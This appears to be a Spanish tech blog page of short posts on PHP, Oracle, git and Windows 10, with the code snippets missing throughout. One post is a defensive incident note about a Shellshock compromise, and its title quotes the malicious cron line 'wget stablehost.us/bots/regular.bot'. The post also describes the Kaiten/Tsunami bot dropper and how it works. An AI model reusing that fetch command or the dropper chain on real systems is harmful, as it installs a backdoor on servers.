PHP: Descomprimir zip en hosting con php

Es muy común que queramos subir un fichero zip a nuestro hosting y nos encontremos con que no podemos descomprimirlo, ya sea porque no tengamos acceso SSH o por que nuestro hosting no nos provea de la posibilidad de descomprimir archivos.

Para conseguir descomprimirlo podemos usar PHP, con las siguientes líneas veremos un ejemplo para descomprimir el zip de wordpress en el mismo sitio donde se encuentra:

 

Después solo tendremos que abrir el archivo unzip.php desde el navegador poniendo la url completa.

Cambios y novedades en Windows 10 (mini-review)

Captura Windows 10

Ya está aquí Windows 10, el sistema operativo de Microsoft que viene a arreglar los despropósitos de Windows 8 (admitámoslo, a nadie le ha gustado la pantalla de inicio con tiles): La pérdida del menú inicio, los pasos innecesarios para apagar el equipo, la díficil localización de las cosas como el panel de control y una larga lista.

En esta pequeña review veremos algunas de las cosas que ha mejorado Windows 10 con respecto a su predecesor bajo mi punto de vista.

Primera impresión

La primera impresión que tuve al iniciar sesión en este S.O., fue que la interfaz de escritorio se parece un poco a GNOME/Cinnamon, el entorno de escritorio de Linux, me refiero a los estilos no a la usabilidad, y es que este aspecto visual me recuerda mucho a los temas típicos de Linux:

cinnamon

Es más minimalista y elegante como podéis comprobar:

Captura Windows 10

El borde de las ventanas plano, sin curvas al igual que en Windows 8 nos evita distracciones para que nos centremos en el contenido.

El visor de imágenes por defecto, a diferencia del de Windows 8 (que era a pantalla completa y bastante lento), ha mejorado mucho, se han eliminado los bordes laterales e inferior y carga bastante rápido.

Otra de las novedades que trae este sistema operativo es Internet Explorer  Microsoft Edge,  el nuevo navegador de Microsoft que promete ser más rápido y estable; personalmente no me transmite mucha confianza un navegador de Microsoft, Internet Explorer siempre ha sido un desastre, pero bueno, habrá que darle una oportunidad.

Menu de inicio

Captura Windows 10

Sí señor, el menú de inicio ha vuelto, y mejor que nunca, es más atractivo, usable y útil que en Windows 7, se mantiene una sección en la derecha reservada para los tiles, mientras que a la izquierda tendremos las aplicaciones más usadas,  un acceso directo al explorador de archivos, otro a la configuración, un botón para apagar y reiniciar (En Windows 8 estaba muy rebuscado) y otro botón para ver todas las aplicaciones en un listado ordenado alfabéticamente.

Captura Windows 10

Captura Windows 10

Captura Windows 10

Además para realizar una búsqueda basta con escribir, como hasta ahora venía siendo:

Captura Windows 10

Por si fuera poco, en el menú inicio nos encontramos con Cortana, el asistente virtual de Windows al más puro estilo Siri. Eso sí, antes de poder decirle cosas ridículas a ver que nos cuenta habrá que realizar una pequeña configuración.

Captura Windows 10

Si os habéis fijado en el icono que está entre la lupa y la E de Microsoft Edge en la barra de tareas, os preguntaréis ¿eso que es? Pues sirve para la gestión de ventanas y múltiples escritorios, una forma de organizar mejor el trabajo, que por cierto, es muy parecido a GNOME:

gnome shell

Captura Windows 10

Captura Windows 10

Barra de notificaciones

La barra de notificaciones también tiene cambios, la gestión de la conexión de red por ejemplo, es mucho más minimalista que en Windows 8, en el cual se abría todo un panel que ocupaba el alto de la pantalla, y que encima tardaba en reaccionar.

Captura Windows 10

La regulación del volumen también se ha “modernizado” con un estilo más cuidado y con una respuesta más rápida desde que hacemos clic en el altavoz hasta que aparece el panel.

Captura Windows 10

Y si vemos el centro de actividades podemos comprobar como está mucho más completo que antes, siendo similar a las notificaciones de Android.

Captura Windows 10

Personalización

No hay mucha libertad de personalización según parece, básicamente podremos cambiar el fondo de escritorio (obviamente), el de la pantalla de bloqueo, y el color de énfasis, que será el único color elegible. Eso sí, tiene algo interesante: Tenemos la opción de que escoja automáticamente el color de énfasis dependiendo del nuestro fondo de escritorio ¿cómo? muy sencillo, analiza los colores de nuestro fondo, y si en él predomina cierto tono de azul, pues escoge ese color para que sea nuestro color de énfasis.

Captura Windows 10

Captura Windows 10

Captura Windows 10

Captura Windows 10

Resumen

Esto es lo que se puede ver en una visual rápida al nuevo sistema operativo, Windows 10, personalmente me ha gustado mucho, sobre todo por el diseño, bastante más actual; por otra parte la usabilidad ha mejorado mucho con respecto a la anterior versión ya que las cosas están más a mano, y quizás  lo más importante, nos hemos librado de la pantalla completa de tiles la cual tardaba una barbaridad en responder.

En resumen, si Windows 8 era comparable a Vista en cuanto a descontento de usuarios, todo apunta a que Windows 10 va a ser el nuevo 7, con el que todos estabamos encantados.

Error 0xC004F034 al activar Windows 10 después de actualizar

msw-win10-hero-slider-familiar

Ayer fue un gran día, por fin fue lanzado Windows 10, esta vez con algo diferente: la actualización a Windows 10 es gratis.

De modo que una ingente cantidad de usuarios comenzaron a actualizarlo, y aunque los de Microsoft procuraron evitar los problemas de los servidores de descarga con el sistema de reservas, parece que sus servidores de activación no estaban preparados.

Y esto es lo que ha sucedido con el error 0xC004F034 al intentar activar Windows. Muchos usuarios en la red están reportando que no pueden activar Windows 10 después de actualizar, y les aparece el error “El Servicio de licencias de software informó de que la licencia no se puede encontrar o no es válida.“.

Como es un error que están recibiendo muchos usuarios no deberíamos preocuparnos, cuando los servidores de activación se recuperen podremos activar nuestro sistema operativo.

Pero si queremos apresurar el proceso, hay algunas “soluciones” por ahí, por ejemplo:

  • – Pulsar el botón de “Activar” repetidas veces, de 20 a 50 veces seguidas, rápidamente hasta que al servidor de activación le apetezca activarte. FUENTE
  • – Intentar la activación por teléfono:

Para activar Windows por teléfono tenemos que pulsar Windows+R, escribir “slui.exe 4” y pulsar enter.
A continuación podemos llamar al número gratuito que podremos ver en la ventana y seguir las indicaciones de la operadora.

¡Comenta si te ha servido! ¡o si no te ha servido, da igual!

Oracle: Listar en Jquery Jtable con Oracle

Uno de los problemas que se presentan al usar el plugin de Jquery Jtable con una base de datos Oracle, es que no podemos usar los LIMIT como en MySQL, tenemos que usar los ROWNUM, pero si usamos los ROWNUM, no podemos ordenar correctamente los registros.

Por lo que para conseguir el mismo efecto que en MySQL tenemos que complicar la consulta SELECT, con la siguiente consulta conseguiremos emular el resultado que nos daría MySQL, y sólo tendréis que sustituir una línea o dos para adaptarla a vuestras necesidades:

Un ejemplo de uso sería el siguiente:

PHP: Mostrar errores o activar modo debug en PHP

Cuando algo no va bien en nuestro código PHP necesitamos saber que es lo que no funciona, y la mayoría de veces el modo debug está desactivado en nuestro servidor Apache.

Si lo que queremos es ver los errores de un script PHP concreto basta con añadir las siguientes líneas al comienzo del script para que muestre los errores de nuestro código.

Oracle: Filtrar por fechas

Para filtrar un listado de resultados devueltos por una consulta Oracle por fecha es necesario usar la función to_date(’02/07/2015′, ‘DD/MM/YY’)

Donde ‘DD/MM/YYYY’ es la máscara que de dice a la función el formato de la fecha que le estamos pasando (’02/07/2015′).

De modo que una consulta filtrando entre dos fechas puede hacerse así:

LINUX: wget stablehost.us/bots/regular.bot etc en nuestro cron es un troyano

Aviso: Esto no es una solución, son datos que te pueden ayudar a solucionarlo.

Hoy, me he encontrado con que en el cron de mi CentOs me faltaban tareas, y que además había una muy sospechosa:

Investigando en las siguientes webs encontré que se trataba de un troyano/malware que ha aprovechado la reciente vulnerabilidad shellshock llamado Linux.Backdoor.Kaiten o Tsunami Bot

Enlaces/fuentes que me han ayudado:

http://infosecnirvana.com/shellshock-hello-honeypot/ (Datos sobre el malware)

http://rm-rf.in/post/98621485262/shellshock-test-the-vulnerability (Para arreglar la vulnerabilidad)

http://security.stackexchange.com/questions/16908/is-secureshellz-bot-a-virus-how-does-it-work

 

En mi servidor CentOs pude recoger algunos datos:

  1. Linea de cron especificada anteriormente
  2. Archivo /tmp/.pwn
  3. Proceso .c en el top
  4. Log en apache

Lo más interesante es el archivo /tmp/.pwn cuyo contenido es el siguiente:

Aquí vemos como se conecta a una serie de servidores de los que descarga el malware en cuestión del que pondré un fragmento abajo de este post. A continuación lo compila con gcc y asigna permisos a directorios en /tmp, lo extraño es que después elimina los archivos descargados.

Después en el log de apache /etc/httpd/logs/access_log encontré como se ejecuto el comando inicial así como la IP atacante:

Ahora bien, ¿qué es lo que he hecho?

He actualizado el bash para que no vuelva a pasar

He eliminado:

– La tarea de cron

– El archivo /tmp/.pwd

Y por último he decidido actualizar los servidores.

Este post no está completo, si consigo más información lo terminaré.

Os dejo el fragmento de código del malware donde se ve que entre otras cosas abre un canal IRC:

Está recortado, en total tiene unas 985 líneas.

GIT: Tener mi propio servidor GIT con repositorio central

Para tener repositorios en nuestro propio servidor, partiendo de la base que tenemos git instalado, necesitamos una serie de pasos.

En este caso vamos a imaginarnos el siguiente escenario:

Tenemos una aplicación llamada my_app en una carpeta del mismo nombre, my_app/.

En nuestro servidor tenemos la siguiente estructura de carpetas:

  • /var/www/repositorios/
  • /var/www/desarrollo/
  • /var/www/produccion/

Dentro de desarrollo/ tenemos nuestra app my_app/

Queremos tener nuestro entorno de desarrollo en desarrollo/ que podamos subir los cambios a repositorios/ (el cual será el repositorio central) y descargar los cambios o actualizar la aplicación en produccion/. Es decir, usando los comandos de git sería del siguiente modo:

Es una buena forma de desarrollar ¿verdad? Entendemos que produccion/ puede estar en otro servidor o en múltiples pcs, así que se podrían actualizar todos con un simple comando, a distancia.

Ahora bien, para tener nuestro entorno de esta forma necesitamos un repositorio central al que subir desde desarrollo y descargar desde producción los cambios, y para conseguir esto, el primer paso es inicializar el repositorio de nuestra app en desarrollo/my_app/ (produccion/ y repositorios/ estarían vacíos aún).

 

 

Además si queremos que no clone o suba ciertas carpetas o archivos al subir cambios, como por ejemplo los archivos de una carpeta de archivos temporales temporales/

 

 

PHP: Convertir formato de fecha de Oracle

Si en un desarrollo se da el caso de que usamos una base de datos Oracle, nos encontraremos con que php nos pinta las fechas obtenidas de la base de datos con el siguiente formato:

17-AUG-14

De modo que si queremos un formato tal que así:

17/08/2014

La mejor forma sería esta: